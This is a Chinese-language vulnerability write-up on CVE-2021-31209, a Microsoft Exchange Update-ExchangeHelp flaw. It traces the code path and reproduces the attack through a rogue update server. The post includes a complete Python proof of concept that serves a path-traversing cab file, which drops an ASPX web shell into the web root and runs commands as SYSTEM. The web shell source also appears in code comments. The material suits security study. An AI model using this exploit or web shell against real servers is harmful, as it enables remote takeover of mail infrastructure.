CVE-2021-31209 分析學習

SecIN發表於2022-05-12

0x00 背景

這個漏洞是在2020年11月中旬釋出的漏洞,編號為CVE-2021-31209,該漏洞需要藉助MITM攻擊,也就是當管理員在Exchange Management Shell中執行Update-ExchangeHelp or Update-ExchangeHelp -Force命令時,在內網的攻擊者可以利用中間人攻擊劫持請求觸發遠端程式碼執行。

Update-ExchangeHelp,這條管理命令僅在本地Exchange伺服器可用並且是Exchange2013以上。

使用此cmdlet可以在本地計算機上查詢、下載和安裝Exchange 命令列管理程式的最新可用幫助;此cmdlet 會自動連線到預定義的網站,將本地 Exchange 伺服器的版本和安裝的語言與更新包中的可用內容進行比較,然後下載並安裝更新的 Exchange 命令列管理程式幫助。

具體正常情況下使用如圖:

image-20210827112630669

0x01 更新流程

首先,現在已經瞭解這個命令是用來更新Exchange cmdlet的參考文章的,查閱文件發現此命令會連線預定義的網站,將本地的Exchange伺服器版本和安裝的語言包與更新包內容進行比較,然後下載並安裝更新的Exchange cmdlet幫助文件。其可以直接聯網更新,並且可以為其配置連線到內網的更新源 ,問題就出現在這裡。

我們不妨先看看配置內網更新源使Exchange這條命令Update-ExchangeHelp從內部源更新的過程:

  1. 下載ExchangeHelpInfo.xml檔案
  2. 下載更新包,在內部 Web 伺服器上釋出更新包,並自定義ExchangeHelpInfo.xml檔案
  3. 在內部 Web 伺服器上釋出自定義的ExchangeHelpInfo.xml檔案。
  4. 修改 Exchange 伺服器的登錄檔以指向自定義的ExchangeHelpInfo.xml檔案。
  5. 使用命令更新

ExchangeHelpInfo.xml檔案的結構如下

<?xml version="1.0" encoding="utf-8"?><ExchangeHelpInfo>
    <HelpVersion>
      <Version>15.01.0225.030-15.01.0225.050</Version>
       <Revision>001</Revision>
      <CulturesUpdated>en</CulturesUpdated>
      <CabinetUrl>https://download.microsoft.com/download/8/7/0/870FC9AB-6D22-4478-BFBF-66CE775BCD18/ExchangePS_Update_En.cab</CabinetUrl>
    </HelpVersion></ExchangeHelpInfo>

<Version>:指的是更新包適用的版本範圍

<Revision>:Exchange釋出更新包的順序

<CulturesUpdated>:更新包適用的語言

<CabinetUrl>:標示此更新包的位置

所以使用內網自己來更新Exchange cmdlet的幫助文件,只需下載好需要的.cab檔案,放到內網Web伺服器,然後更改對應的xml檔案,並把自定義的ExchangeHelpInfo.xml檔案也放在Web伺服器

最後對應上述步驟第四步,修改登錄檔即可自動去定義的地址更新。

0x02 漏洞分析

Microsoft.Exchange.Management.dll中,定義了Microsoft.Exchange.Management.UpdatableHelp.UpdatableExchangeHelpCommand類。

在函式UpdatableExchangeHelpCommand.InternalProcessRecord()中呼叫了HelpUpdater.UpdateHelp()方法

image-20210831094245713

檢視HelpUpdater.UpdateHelp()中會呼叫HelpDownloader.DownloadManifest(),看名字可以猜測是下載ExchangeHelpInfo.xml這個檔案的。

image-20210831095429790

繼續進入HelpDownloader.DownloadManifest(),發現其將HelpUpdater.ManifestUrl這一值賦給downloadUrl並呼叫HelpDownloader.AsyncDownloadFile()下載

image-20210831095657426

繼續檢視HelpDownloader.AsyncDownloadFile()內,發現就是呼叫webClient.DownloadFileAsync()方法下載這個URL並存入localFilePath

image-20210831100203811

localFilePath就是HelpUpdater.LocalManifestPath,並不可控。

image-20210831100308052


接著還需要看一下HelpUpdater.ManifestUrl這一值從哪裡被設定的。

分析所使用的ManifestUrl,發現其在Microsoft.Exchange.Management.UpdatableHelp.HelpUpdater.LoadConfiguration()中被設定,並且LoadConfiguration()UpdatableExchangeHelpCommand.InternalValidate()呼叫。

image-20210830174315240

所以直接檢視LoadConfiguration()是如何配置ManifestUrl這個值的。

image-20210830174606421

如果不存在登錄檔SOFTWARE\Microsoft\ExchangeServer\v15\UpdateExchangeHelp,則建立ManifestUrl項並賦值為http://go.microsoft.com/fwlink/p/?LinkId=287244


接著分析完HelpUpdater.UpdateHelp()方法中呼叫完helpDownloader.DownloadManifest()大致發生的事情後,回到該方法繼續檢視後面做了什麼,畢竟目前來看還有一個.cab檔案沒有被請求。

image-20210831101608565

首先會在下載完xml問候,呼叫helpDownloader.SearchManifestForApplicableUpdates(),可以看到引數為CurrentHelpVersionCurrentHelpRevision

此函式會根據xml解析合適的更新包,會判斷xml檔案中的版本範圍,以及更新的補丁號也就是<Revision>對應的值,以及提取<CabinetUrl>中的值。

解析起始版本號、結束版本號、補丁號以及<CulturesUpdated>對應的語言相關程式碼:

image-20210831102924909

判斷版本號以及補丁號程式碼:

image-20210831102816881

接著判斷更新包的語言是否匹配

string[] array = this.EnumerateAffectedCultures(updatableHelpVersionRange.CulturesAffected);

然後就會執行到

helpDownloader.DownloadPackage(updatableHelpVersionRange.CabinetUrl);

呼叫helpDownloader.DownloadPackage(),其中又會呼叫HelpDownloader.AsyncDownloadFile()下載cab檔案

image-20210831103955690

然後路徑儲存為:

image-20210831103748771

最後HelpInstaller.ExtractToTemp()方法去提取cab檔案

image-20210831104009761

在其中呼叫Microsoft.Exchange.CabUtility.EmbeddedCabWrapper.ExtractCabFiles()將之前上傳到helpUpdater.LocalCabinetPath的檔案提取到helpUpdater.LocalCabinetExtractionTargetPath路徑

繼續跟進這個函式,發現其將cab檔案上傳的路徑、將要提取的目的路徑、還有filter變數放入非託管記憶體

image-20210831104653704

最後呼叫

num = <Module>.Microsoft.Exchange.CabUtility.EmbeddedCAB.ExtractCab(ptr, ptr2, ptr3, false);

這是一個匯出函式,沒有檢查進入此函式的路徑,所以導致了可以將cab提取到任何路徑。

到這裡其實只是管理員自己可以將此檔案更新的時候寫入任何目錄,並沒有什麼影響,我們如果可以把登錄檔內的ManifestUrl項修改為偽造的內網更新源,就可以劫持管理員去更新幫助手冊的行為從而達到無需任何身份任意寫入目錄的效果。

所以這也是一個比較有意思的地方,作者使用ARP去欺騙Exchange伺服器連線我們偽造的更新伺服器,因為上述提到的登錄檔的值預設情況下都是要連線http://go.microsoft.com/fwlink/p/?LinkId=287244這個地址。作者使用bettercab去做arp劫持,等待管理員執行Update-ExchangeHelp即可完成攻擊。

0x03 漏洞復現

我們這裡選擇直接更改登錄檔讓其連線我們的偽造伺服器來複現此漏洞

image-20210831105737924

然後首先要調整xml檔案,使其幾個驗證的項透過驗證

查詢本地Exchange版本

image-20210831105831164

修改xml,這類順帶需要修改語言包

檔案

然後使用makecab準備放到web上的cab檔案

image-20210831110043959

接著使用稍作修改的原始POC,並在Exchange執行命令即可觸發RCE

image-20210831110152361

指令碼如下:

import sysimport base64import urllib3import requestsfrom threading import Threadfrom http.server import HTTPServer, SimpleHTTPRequestHandler
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)class CabRequestHandler(SimpleHTTPRequestHandler):
    def log_message(self, format, *args):
        return
    def do_GET(self):
        if self.path.endswith("poc.xml"):
            print("(+) delivering xml file...")
            xml = """<ExchangeHelpInfo>
  <HelpVersions>
    <HelpVersion>
      <Version>15.01.0225.042-15.01.0999.999</Version>
      <Revision>%s</Revision>
      <CulturesUpdated>zh-HanS</CulturesUpdated>
      <CabinetUrl>http://%s:8000/poc.cab</CabinetUrl>
    </HelpVersion>
  </HelpVersions>
</ExchangeHelpInfo>""" % (r, s)
            self.send_response(200)
            self.send_header('Content-Type', 'application/xml')
            self.send_header("Content-Length", len(xml))
            self.end_headers()
            self.wfile.write(str.encode(xml))        elif self.path.endswith("poc.cab"):
            print("(+) delivering cab file...")            # created like: makecab /d "CabinetName1=poc.cab" /f files.txt
            # files.txt contains: "poc.aspx" "../../../../../../../inetpub/wwwroot/aspnet_client/poc.aspx"
            # poc.aspx contains: <%=System.Diagnostics.Process.Start("cmd", Request["c"])%>
            # <script language="JScript" runat="server"> function Page_Load(){/**/eval(Request["exec_code"],"unsafe");}</script>
            stage_2  = "TVNDRgAAAAC+AAAAAAAAACwAAAAAAAAAAwEBAAEAAAAPEwAAeAAAAAEAAQA6AAAA"
            stage_2 += "AAAAAAAAZFFsJyAALi4vLi4vLi4vLi4vLi4vLi4vLi4vaW5ldHB1Yi93d3dyb290"
            stage_2 += "L2FzcG5ldF9jbGllbnQvcG9jLmFzcHgARzNy0T4AOgBDS7NRtQ2uLC5JzdVzyUxM"
            stage_2 += "z8svLslMLtYLKMpPTi0u1gsuSSwq0VBKzk1R0lEISi0sTS0uiVZKVorVVLUDAA=="
            p = base64.b64decode(stage_2.encode('utf-8'))
            self.send_response(200)
            self.send_header('Content-Type', 'application/x-cab')
            self.send_header("Content-Length", len(p))
            self.end_headers()
            self.wfile.write(p)            returnif __name__ == '__main__':    if len(sys.argv) != 5:
        print("(+) usage: %s <target> <connectback> <revision> <cmd>" % sys.argv[0])
        print("(+) eg: %s 192.168.0.142 192.168.0.56 1337 mspaint" % sys.argv[0])
        print("(+) eg: %s 192.168.0.142 192.168.0.56 1337 \"whoami > c:/poc.txt\"" % sys.argv[0])
        sys.exit(-1)
    t = sys.argv[1]
    s = sys.argv[2]
    port = 8000
    r = sys.argv[3]
    c = sys.argv[4]
    print("(+) server bound to port %d" % port)
    print("(+) targeting: %s using cmd: %s" % (t, c))
    httpd = HTTPServer(('0.0.0.0', int(port)), CabRequestHandler)
    handlerthr = Thread(target=httpd.serve_forever, args=())
    handlerthr.daemon = True
    handlerthr.start()
    p = { "c" : "/c %s" % c }    try:        while 1:
            req = requests.get("https://%s/aspnet_client/poc.aspx" % t, params=p, verify=False)            if req.status_code == 200:                break
        print("(+) executed %s as SYSTEM!" % c)    except KeyboardInterrupt:        pass

0x04 總結

這是一個非常簡單的漏洞,思路比較有趣,所以拿來了解學習一遍。上次聽說ARP攻擊還是一幾年左右大家都在搞C段用Cain去改別人主頁。整個的流程比較有趣,算是也給大家提供了一個新的挖掘思路。

參考

https://srcincite.io/blog/2021/08/25/pwn2own-vancouver-2021-microsoft-exchange-server-remote-code-execution.html

https://docs.microsoft.com/en-us/powershell/module/exchange/update-exchangehelp

最後,歡迎各位師傅關注微信公眾號 駭客在思考 ,一起學習


相關文章